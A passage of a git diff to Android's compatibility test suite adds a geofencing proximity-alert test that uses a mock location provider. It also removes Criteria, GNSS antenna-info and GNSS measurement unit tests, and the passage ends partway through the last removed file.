-        criteria.setBearingAccuracy(Criteria.ACCURACY_LOW);
-        assertEquals(Criteria.ACCURACY_LOW, criteria.getBearingAccuracy());
-
-        criteria.setBearingAccuracy(Criteria.ACCURACY_HIGH);
-        assertEquals(Criteria.ACCURACY_HIGH, criteria.getBearingAccuracy());
-
-        criteria.setBearingAccuracy(Criteria.NO_REQUIREMENT);
-        assertEquals(Criteria.NO_REQUIREMENT, criteria.getBearingAccuracy());
-      }
-
-    @Test
-    public void testAccessBearingRequired() {
-        Criteria criteria = new Criteria();
-
-        criteria.setBearingRequired(false);
-        assertFalse(criteria.isBearingRequired());
-
-        criteria.setBearingRequired(true);
-        assertTrue(criteria.isBearingRequired());
-    }
-
-    @Test
-    public void testAccessCostAllowed() {
-        Criteria criteria = new Criteria();
-
-        criteria.setCostAllowed(false);
-        assertFalse(criteria.isCostAllowed());
-
-        criteria.setCostAllowed(true);
-        assertTrue(criteria.isCostAllowed());
-    }
-
-    @Test
-    public void testAccessHorizontalAccuracy() {
-        Criteria criteria = new Criteria();
-
-        criteria.setHorizontalAccuracy(Criteria.ACCURACY_LOW);
-        assertEquals(Criteria.ACCURACY_LOW, criteria.getHorizontalAccuracy());
-
-        criteria.setHorizontalAccuracy(Criteria.ACCURACY_MEDIUM);
-        assertEquals(Criteria.ACCURACY_MEDIUM, criteria.getHorizontalAccuracy());
-
-        criteria.setHorizontalAccuracy(Criteria.ACCURACY_HIGH);
-        assertEquals(Criteria.ACCURACY_HIGH, criteria.getHorizontalAccuracy());
-
-        criteria.setHorizontalAccuracy(Criteria.NO_REQUIREMENT);
-        assertEquals(Criteria.NO_REQUIREMENT, criteria.getHorizontalAccuracy());
-    }
-
-    @Test
-    public void testAccessSpeedAccuracy() {
-        Criteria criteria = new Criteria();
-
-        criteria.setSpeedAccuracy(Criteria.ACCURACY_LOW);
-        assertEquals(Criteria.ACCURACY_LOW, criteria.getSpeedAccuracy());
-
-        criteria.setSpeedAccuracy(Criteria.ACCURACY_HIGH);
-        assertEquals(Criteria.ACCURACY_HIGH, criteria.getSpeedAccuracy());
-
-        criteria.setSpeedAccuracy(Criteria.NO_REQUIREMENT);
-        assertEquals(Criteria.NO_REQUIREMENT, criteria.getSpeedAccuracy());
-    }
-
-    @Test
-    public void testAccessSpeedRequired() {
-        Criteria criteria = new Criteria();
-
-        criteria.setSpeedRequired(false);
-        assertFalse(criteria.isSpeedRequired());
-
-        criteria.setSpeedRequired(true);
-        assertTrue(criteria.isSpeedRequired());
-    }
-
-    @Test
-    public void testAccessVerticalAccuracy() {
-        Criteria criteria = new Criteria();
-
-        criteria.setVerticalAccuracy(Criteria.ACCURACY_LOW);
-        assertEquals(Criteria.ACCURACY_LOW, criteria.getVerticalAccuracy());
-
-       criteria.setVerticalAccuracy(Criteria.ACCURACY_HIGH);
-        assertEquals(Criteria.ACCURACY_HIGH, criteria.getVerticalAccuracy());
-
-        criteria.setVerticalAccuracy(Criteria.NO_REQUIREMENT);
-        assertEquals(Criteria.NO_REQUIREMENT, criteria.getVerticalAccuracy());
-    }
-
-    @Test
-    public void testWriteToParcel() {
-        Criteria criteria = new Criteria();
-        criteria.setAltitudeRequired(true);
-        criteria.setBearingRequired(false);
-        criteria.setCostAllowed(true);
-        criteria.setSpeedRequired(true);
-
-        Parcel parcel = Parcel.obtain();
-        criteria.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-
-        Criteria newCriteria = Criteria.CREATOR.createFromParcel(parcel);
-
-        assertEquals(criteria.getAccuracy(), newCriteria.getAccuracy());
-        assertEquals(criteria.getPowerRequirement(), newCriteria.getPowerRequirement());
-        assertEquals(criteria.isAltitudeRequired(), newCriteria.isAltitudeRequired());
-        assertEquals(criteria.isBearingRequired(), newCriteria.isBearingRequired());
-        assertEquals(criteria.isSpeedRequired(), newCriteria.isSpeedRequired());
-        assertEquals(criteria.isCostAllowed(), newCriteria.isCostAllowed());
-
-        parcel.recycle();
-    }
-}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java b/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java
new file mode 100644
index 0000000..59c91c9
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java
@@ -0,0 +1,291 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import static android.location.LocationManager.FUSED_PROVIDER;
+
+import static com.android.compatibility.common.util.LocationUtils.createLocation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.location.Criteria;
+import android.location.LocationManager;
+import android.location.cts.common.ProximityPendingIntentCapture;
+import android.util.Log;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.LocationUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Objects;
+
+@RunWith(AndroidJUnit4.class)
+public class GeofencingTest {
+
+    private static final String TAG = "GeofenceManagerTest";
+
+    private static final long TIMEOUT_MS = 5000;
+    private static final long FAILURE_TIMEOUT_MS = 200;
+
+    private static final String TEST_PROVIDER = "test_provider";
+
+    private Context mContext;
+    private LocationManager mManager;
+
+    @Before
+    public void setUp() throws Exception {
+        LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
+                true);
+
+        long seed = System.currentTimeMillis();
+        Log.i(TAG, "location random seed: " + seed);
+
+        mContext = ApplicationProvider.getApplicationContext();
+        mManager = Objects.requireNonNull(mContext.getSystemService(LocationManager.class));
+
+        for (String provider : mManager.getAllProviders()) {
+            mManager.removeTestProvider(provider);
+        }
+
+        mManager.addTestProvider(TEST_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mManager != null) {
+            for (String provider : mManager.getAllProviders()) {
+                mManager.removeTestProvider(provider);
+            }
+        }
+
+        LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
+                false);
+    }
+
+    @Test
+    public void testAddProximityAlert() throws Exception {
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+        mManager.setTestProviderLocation(FUSED_PROVIDER,
+                createLocation(FUSED_PROVIDER, 30, 30, 10));
+
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            mManager.addProximityAlert(0, 0, 1000, -1, capture.getPendingIntent());
+
+            mManager.setTestProviderLocation(FUSED_PROVIDER,
+                    createLocation(FUSED_PROVIDER, 0, 0, 10));
+            assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+
+            mManager.setTestProviderLocation(FUSED_PROVIDER,
+                    createLocation(FUSED_PROVIDER, 30, 30, 10));
+            assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.FALSE);
+        }
+
+        try {
+            mManager.addProximityAlert(0, 0, 1000, -1, null);
+            fail("Should throw IllegalArgumentException if pending intent is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        PendingIntent immutablePI = PendingIntent.getBroadcast(mContext, 0,
+                new Intent("IMMUTABLE_TEST_ACTION")
+                        .setPackage(mContext.getPackageName())
+                        .addFlags(Intent.FLAG_RECEIVER_FOREGROUND),
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        try {
+            mManager.addProximityAlert(0, 0, 1000, -1, immutablePI);
+            fail("Should throw IllegalArgumentException if pending intent is immutable!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        } finally {
+            immutablePI.cancel();
+        }
+
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            try {
+                mManager.addProximityAlert(0, 0, 0, -1, capture.getPendingIntent());
+                fail("Should throw IllegalArgumentException if radius == 0!");
+            } catch (IllegalArgumentException e) {
+                // expected
+            }
+
+            try {
+                mManager.addProximityAlert(0, 0, -1, -1, capture.getPendingIntent());
+                fail("Should throw IllegalArgumentException if radius < 0!");
+            } catch (IllegalArgumentException e) {
+                // expected
+            }
+
+            try {
+                mManager.addProximityAlert(1000, 1000, 1000, -1, capture.getPendingIntent());
+                fail("Should throw IllegalArgumentException if lat/lon are illegal!");
+            } catch (IllegalArgumentException e) {
+                // expected
+            }
+        }
+    }
+
+    @Test
+    public void testRemoveProximityAlert() throws Exception {
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+        mManager.setTestProviderLocation(FUSED_PROVIDER,
+                createLocation(FUSED_PROVIDER, 30, 30, 10));
+
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            mManager.addProximityAlert(0, 0, 1000, -1, capture.getPendingIntent());
+            mManager.removeProximityAlert(capture.getPendingIntent());
+
+            mManager.setTestProviderLocation(FUSED_PROVIDER,
+                    createLocation(FUSED_PROVIDER, 0, 0, 10));
+            assertThat(capture.getNextProximityChange(FAILURE_TIMEOUT_MS)).isNull();
+        }
+
+        try {
+            mManager.removeProximityAlert(null);
+            fail("Should throw IllegalArgumentException if pending intent is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testAddProximityAlert_StartProximate() throws Exception {
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+        mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 0, 0, 10));
+
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            mManager.addProximityAlert(0, 0, 1000, -1, capture.getPendingIntent());
+            assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+        }
+    }
+
+    @Test
+    public void testAddProximityAlert_Multiple() throws Exception {
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+        mManager.setTestProviderLocation(FUSED_PROVIDER,
+                createLocation(FUSED_PROVIDER, 30, 30, 10));
+
+        ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext);
+        try {
+            mManager.addProximityAlert(0, 0, 1000, -1, capture.getPendingIntent());
+            mManager.addProximityAlert(30, 30, 1000, -1, capture.getPendingIntent());
+
+            assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+
+            mManager.setTestProviderLocation(FUSED_PROVIDER,
+                    createLocation(FUSED_PROVIDER, 0, 0, 10));
+            Boolean first = capture.getNextProximityChange(TIMEOUT_MS);
+            assertThat(first).isNotNull();
+            Boolean second = capture.getNextProximityChange(TIMEOUT_MS);
+            assertThat(second).isNotNull();
+            assertThat(first).isNotEqualTo(second);
+        } finally {
+            capture.close();
+        }
+
+        mManager.setTestProviderLocation(FUSED_PROVIDER,
+                createLocation(FUSED_PROVIDER, 30, 30, 10));
+        assertThat(capture.getNextProximityChange(FAILURE_TIMEOUT_MS)).isNull();
+    }
+
+    @Test
+    public void testAddProximityAlert_Expires() throws Exception {
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+        mManager.setTestProviderLocation(FUSED_PROVIDER,
+                createLocation(FUSED_PROVIDER, 30, 30, 10));
+
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            mManager.addProximityAlert(0, 0, 1000, 1, capture.getPendingIntent());
+
+            mManager.setTestProviderLocation(FUSED_PROVIDER,
+                    createLocation(FUSED_PROVIDER, 0, 0, 10));
+            assertThat(capture.getNextProximityChange(FAILURE_TIMEOUT_MS)).isNull();
+        }
+    }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoRegistrationTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoRegistrationTest.java
deleted file mode 100644
index 5aa2bd3..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoRegistrationTest.java
+++ /dev/null
@@ -1,115 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assert.assertTrue;
-
-import android.content.Context;
-import android.location.GnssAntennaInfo;
-import android.location.LocationManager;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.test.core.app.ApplicationProvider;
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-/**
- * End to end test of GNSS Antenna Info. Test first attempts to register a GNSS Antenna Info
- * Callback and then sleeps for a timeout period. The callback status is then checked. If the
- * status is not STATUS_READY, the test is skipped. Otherwise, the test proceeds. We verify that
- * the callback has been called and has received at least GnssAntennaInfo object.
- */
-@RunWith(AndroidJUnit4.class)
-public class GnssAntennaInfoRegistrationTest {
-
-    private static final String TAG = "GnssAntennaInfoCallbackTest";
-
-    private static final int ANTENNA_INFO_TIMEOUT_SEC = 10;
-
-    private LocationManager mManager;
-    private Context mContext;
-    CountDownLatch mAntennaInfoReciept = new CountDownLatch(1);
-
-    @Before
-    public void setUp() throws Exception {
-
-        mContext = ApplicationProvider.getApplicationContext();
-        mManager = mContext.getSystemService(LocationManager.class);
-
-        assertThat(mManager).isNotNull();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testGnssAntennaInfoCallbackRegistration() {
-        // TODO(skz): check that version code is greater than R
-
-        if(!mManager.getGnssCapabilities().hasGnssAntennaInfo()) {
-            // GnssAntennaInfo is not supported
-            return;
-        }
-
-        TestGnssAntennaInfoListener listener = new TestGnssAntennaInfoListener();
-
-        mManager.registerAntennaInfoListener(Executors.newSingleThreadExecutor(), listener);
-        try {
-            mAntennaInfoReciept.await(ANTENNA_INFO_TIMEOUT_SEC, TimeUnit.SECONDS);
-        } catch (InterruptedException e) {
-            Log.e(TAG, "Test was interrupted.");
-        }
-
-        listener.verifyRegistration();
-
-        mManager.unregisterAntennaInfoListener(listener);
-    }
-
-    private class TestGnssAntennaInfoListener implements GnssAntennaInfo.Listener {
-        private boolean receivedAntennaInfo = false;
-        private int numResults = 0;
-
-        @Override
-        public void onGnssAntennaInfoReceived(@NonNull List<GnssAntennaInfo> gnssAntennaInfos) {
-            receivedAntennaInfo = true;
-            numResults = gnssAntennaInfos.size();
-            mAntennaInfoReciept.countDown();
-
-            for (GnssAntennaInfo gnssAntennaInfo: gnssAntennaInfos) {
-                Log.d(TAG, gnssAntennaInfo.toString() + "\n");
-            }
-        }
-
-        public void verifyRegistration() {
-            assertTrue(receivedAntennaInfo);
-            assertThat(numResults).isGreaterThan(0);
-        }
-    }
-}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoTest.java
deleted file mode 100644
index cbaabf7..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoTest.java
+++ /dev/null
@@ -1,241 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNull;
-
-import android.location.GnssAntennaInfo;
-import android.location.GnssAntennaInfo.PhaseCenterOffset;
-import android.location.GnssAntennaInfo.SphericalCorrections;
-import android.os.Parcel;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Tests fundamental functionality of GnssAntennaInfo class. This includes writing and reading from
- * parcel, and verifying computed values and getters.
- */
-@RunWith(AndroidJUnit4.class)
-public class GnssAntennaInfoTest {
-
-    private static final double PRECISION = 0.0001;
-    private static final double[][] PHASE_CENTER_VARIATION_CORRECTIONS = new double[][]{
-        {5.29, 0.20, 7.15, 10.18, 9.47, 8.05},
-        {11.93, 3.98, 2.68, 2.66, 8.15, 13.54},
-        {14.69, 7.63, 13.46, 8.70, 4.36, 1.21},
-        {4.19, 12.43, 12.40, 0.90, 1.96, 1.99},
-        {7.30, 0.49, 7.43, 8.71, 3.70, 7.24},
-        {4.79, 1.88, 13.88, 3.52, 13.40, 11.81}
-    };
-    private static final double[][] PHASE_CENTER_VARIATION_CORRECTION_UNCERTAINTIES = new double[][]{
-            {1.77, 0.81, 0.72, 1.65, 2.35, 1.22},
-            {0.77, 3.43, 2.77, 0.97, 4.55, 1.38},
-            {1.51, 2.50, 2.23, 2.43, 1.94, 0.90},
-            {0.34, 4.72, 4.14, 4.78, 4.57, 1.69},
-            {4.49, 0.05, 2.78, 1.33, 3.20, 2.75},
-            {1.09, 0.31, 3.79, 4.32, 0.65, 1.23}
-    };
-    private static final double[][] SIGNAL_GAIN_CORRECTIONS = new double[][]{
-            {0.19, 7.04, 1.65, 14.84, 2.95, 9.21},
-            {0.45, 6.27, 14.57, 8.95, 3.92, 12.68},
-            {6.80, 13.04, 7.92, 2.23, 14.22, 7.36},
-            {4.81, 11.78, 5.04, 5.13, 12.09, 12.85},
-            {0.88, 4.04, 5.71, 3.72, 12.62, 0.40},
-            {14.26, 9.50, 4.21, 11.14, 6.54, 14.63}
-    };
-    private static final double[][] SIGNAL_GAIN_CORRECTION_UNCERTAINTIES = new double[][]{
-            {4.74, 1.54, 1.59, 4.05, 1.65, 2.46},
-            {0.10, 0.33, 0.84, 0.83, 0.57, 2.66},
-            {2.08, 1.46, 2.10, 3.25, 1.48, 0.65},
-            {4.02, 2.90, 2.51, 2.13, 1.67, 1.23},
-            {2.13, 4.30, 1.36, 3.86, 1.02, 2.96},
-            {3.22, 3.95, 3.75, 1.73, 1.91, 4.93}
-
-    };
-
-    @Test
-    public void testFullAntennaInfoDescribeContents() {
-        GnssAntennaInfo gnssAntennaInfo = createFullTestGnssAntennaInfo();
-        assertEquals(0, gnssAntennaInfo.describeContents());
-    }
-
-    @Test
-    public void testPartialAntennaInfoDescribeContents() {
-        GnssAntennaInfo gnssAntennaInfo = createPartialTestGnssAntennaInfo();
-        assertEquals(0, gnssAntennaInfo.describeContents());
-    }
-
-    @Test
-    public void testFullAntennaInfoWriteToParcel() {
-        GnssAntennaInfo gnssAntennaInfo = createFullTestGnssAntennaInfo();
-        Parcel parcel = Parcel.obtain();
-        gnssAntennaInfo.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        GnssAntennaInfo newGnssAntennaInfo = GnssAntennaInfo.CREATOR.createFromParcel(parcel);
-        verifyFullGnssAntennaInfoValuesAndGetters(newGnssAntennaInfo);
-        parcel.recycle();
-    }
-
-    @Test
-    public void testPartialAntennaInfoWriteToParcel() {
-        GnssAntennaInfo gnssAntennaInfo = createPartialTestGnssAntennaInfo();
-        Parcel parcel = Parcel.obtain();
-        gnssAntennaInfo.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        GnssAntennaInfo newGnssAntennaInfo = GnssAntennaInfo.CREATOR.createFromParcel(parcel);
-        verifyPartialGnssAntennaInfoValuesAndGetters(newGnssAntennaInfo);
-        parcel.recycle();
-    }
-
-    @Test
-    public void testCreateFullGnssAntennaInfoAndGetValues() {
-        GnssAntennaInfo gnssAntennaInfo = createFullTestGnssAntennaInfo();
-        verifyFullGnssAntennaInfoValuesAndGetters(gnssAntennaInfo);
-    }
-
-    @Test
-    public void testCreatePartialGnssAntennaInfoAndGetValues() {
-        GnssAntennaInfo gnssAntennaInfo = createPartialTestGnssAntennaInfo();
-        verifyPartialGnssAntennaInfoValuesAndGetters(gnssAntennaInfo);
-    }
-
-    private static GnssAntennaInfo createFullTestGnssAntennaInfo() {
-        double carrierFrequencyMHz = 13758.0;
-
-        GnssAntennaInfo.PhaseCenterOffset phaseCenterOffset = new
-                GnssAntennaInfo.PhaseCenterOffset(
-                        4.3d,
-                    1.4d,
-                    2.10d,
-                    2.1d,
-                    3.12d,
-                    0.5d);
-
-        double[][] phaseCenterVariationCorrectionsMillimeters = PHASE_CENTER_VARIATION_CORRECTIONS;
-        double[][] phaseCenterVariationCorrectionsUncertaintyMillimeters =
-                PHASE_CENTER_VARIATION_CORRECTION_UNCERTAINTIES;
-        SphericalCorrections
-                phaseCenterVariationCorrections =
-                new SphericalCorrections(
-                        phaseCenterVariationCorrectionsMillimeters,
-                        phaseCenterVariationCorrectionsUncertaintyMillimeters);
-
-        double[][] signalGainCorrectionsDbi = SIGNAL_GAIN_CORRECTIONS;
-        double[][] signalGainCorrectionsUncertaintyDbi = SIGNAL_GAIN_CORRECTION_UNCERTAINTIES;
-        SphericalCorrections signalGainCorrections = new
-                SphericalCorrections(
-                signalGainCorrectionsDbi,
-                signalGainCorrectionsUncertaintyDbi);
-
-        return new GnssAntennaInfo.Builder()
-                .setCarrierFrequencyMHz(carrierFrequencyMHz)
-                .setPhaseCenterOffset(phaseCenterOffset)
-                .setPhaseCenterVariationCorrections(phaseCenterVariationCorrections)
-                .setSignalGainCorrections(signalGainCorrections)
-                .build();
-    }
-
-    private static GnssAntennaInfo createPartialTestGnssAntennaInfo() {
-        double carrierFrequencyMHz = 13758.0;
-
-        GnssAntennaInfo.PhaseCenterOffset phaseCenterOffset = new
-                GnssAntennaInfo.PhaseCenterOffset(
-                4.3d,
-                1.4d,
-                2.10d,
-                2.1d,
-                3.12d,
-                0.5d);
-
-        return new GnssAntennaInfo.Builder()
-                .setCarrierFrequencyMHz(carrierFrequencyMHz)
-                .setPhaseCenterOffset(phaseCenterOffset)
-                .build();
-    }
-
-    private static void verifyPartialGnssAntennaInfoValuesAndGetters(GnssAntennaInfo gnssAntennaInfo) {
-        assertEquals(13758.0d, gnssAntennaInfo.getCarrierFrequencyMHz(), PRECISION);
-
-        // Phase Center Offset Tests --------------------------------------------------------
-        PhaseCenterOffset phaseCenterOffset =
-                gnssAntennaInfo.getPhaseCenterOffset();
-        assertEquals(4.3d, phaseCenterOffset.getXOffsetMm(),
-                PRECISION);
-        assertEquals(1.4d, phaseCenterOffset.getXOffsetUncertaintyMm(),
-                PRECISION);
-        assertEquals(2.10d, phaseCenterOffset.getYOffsetMm(),
-                PRECISION);
-        assertEquals(2.1d, phaseCenterOffset.getYOffsetUncertaintyMm(),
-                PRECISION);
-        assertEquals(3.12d, phaseCenterOffset.getZOffsetMm(),
-                PRECISION);
-        assertEquals(0.5d, phaseCenterOffset.getZOffsetUncertaintyMm(),
-                PRECISION);
-
-        // Phase Center Variation Corrections Tests -----------------------------------------
-        assertNull(gnssAntennaInfo.getPhaseCenterVariationCorrections());
-
-        // Signal Gain Corrections Tests -----------------------------------------------------
-        assertNull(gnssAntennaInfo.getSignalGainCorrections());
-    }
-
-    private static void verifyFullGnssAntennaInfoValuesAndGetters(GnssAntennaInfo gnssAntennaInfo) {
-        assertEquals(13758.0d, gnssAntennaInfo.getCarrierFrequencyMHz(), PRECISION);
-
-        // Phase Center Offset Tests --------------------------------------------------------
-        PhaseCenterOffset phaseCenterOffset =
-                gnssAntennaInfo.getPhaseCenterOffset();
-        assertEquals(4.3d, phaseCenterOffset.getXOffsetMm(),
-                PRECISION);
-        assertEquals(1.4d, phaseCenterOffset.getXOffsetUncertaintyMm(),
-                PRECISION);
-        assertEquals(2.10d, phaseCenterOffset.getYOffsetMm(),
-                PRECISION);
-        assertEquals(2.1d, phaseCenterOffset.getYOffsetUncertaintyMm(),
-                PRECISION);
-        assertEquals(3.12d, phaseCenterOffset.getZOffsetMm(),
-                PRECISION);
-        assertEquals(0.5d, phaseCenterOffset.getZOffsetUncertaintyMm(),
-                PRECISION);
-
-        // Phase Center Variation Corrections Tests -----------------------------------------
-        SphericalCorrections phaseCenterVariationCorrections =
-                gnssAntennaInfo.getPhaseCenterVariationCorrections();
-
-        assertEquals(60.0d, phaseCenterVariationCorrections.getDeltaTheta(), PRECISION);
-        assertEquals(36.0d, phaseCenterVariationCorrections.getDeltaPhi(), PRECISION);
-        assertArrayEquals(PHASE_CENTER_VARIATION_CORRECTIONS, phaseCenterVariationCorrections
-                .getCorrectionsArray());
-        assertArrayEquals(PHASE_CENTER_VARIATION_CORRECTION_UNCERTAINTIES,
-                phaseCenterVariationCorrections.getCorrectionUncertaintiesArray());
-
-        // Signal Gain Corrections Tests -----------------------------------------------------
-        SphericalCorrections signalGainCorrections = gnssAntennaInfo.getSignalGainCorrections();
-
-        assertEquals(60.0d, signalGainCorrections.getDeltaTheta(), PRECISION);
-        assertEquals(36.0d, signalGainCorrections.getDeltaPhi(), PRECISION);
-        assertArrayEquals(SIGNAL_GAIN_CORRECTIONS, signalGainCorrections
-                .getCorrectionsArray());
-        assertArrayEquals(SIGNAL_GAIN_CORRECTION_UNCERTAINTIES,
-                signalGainCorrections.getCorrectionUncertaintiesArray());
-    }
-}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementTest.java
deleted file mode 100644
index 2536890..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementTest.java
+++ /dev/null
@@ -1,174 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-import android.location.GnssMeasurement;
-import android.location.GnssStatus;
-import android.os.Parcel;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class GnssMeasurementTest {
-
-    private static final double DELTA = 0.001;
-
-    @Test
-    public void testDescribeContents() {
-        GnssMeasurement measurement = new GnssMeasurement();
-        assertEquals(0, measurement.describeContents());
-    }
-
-    @Test
-    public void testReset() {
-        GnssMeasurement measurement = new GnssMeasurement();
-        measurement.reset();
-    }
-
-    @Test
-    public void testWriteToParcel() {
-        GnssMeasurement measurement = new GnssMeasurement();
-        setTestValues(measurement);
-        Parcel parcel = Parcel.obtain();
-        measurement.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        GnssMeasurement newMeasurement = GnssMeasurement.CREATOR.createFromParcel(parcel);
-        verifyTestValues(newMeasurement);
-        parcel.recycle();
-    }
-
-    @Test
-    public void testSet() {
-        GnssMeasurement measurement = new GnssMeasurement();
-        setTestValues(measurement);
-        GnssMeasurement newMeasurement = new GnssMeasurement();
-        newMeasurement.set(measurement);
-        verifyTestValues(newMeasurement);
-    }
-
-    @Test
-    public void testSetReset() {
-        GnssMeasurement measurement = new GnssMeasurement();
-        setTestValues(measurement);
-
-        assertTrue(measurement.hasCarrierCycles());
-        measurement.resetCarrierCycles();
-        assertFalse(measurement.hasCarrierCycles());
-
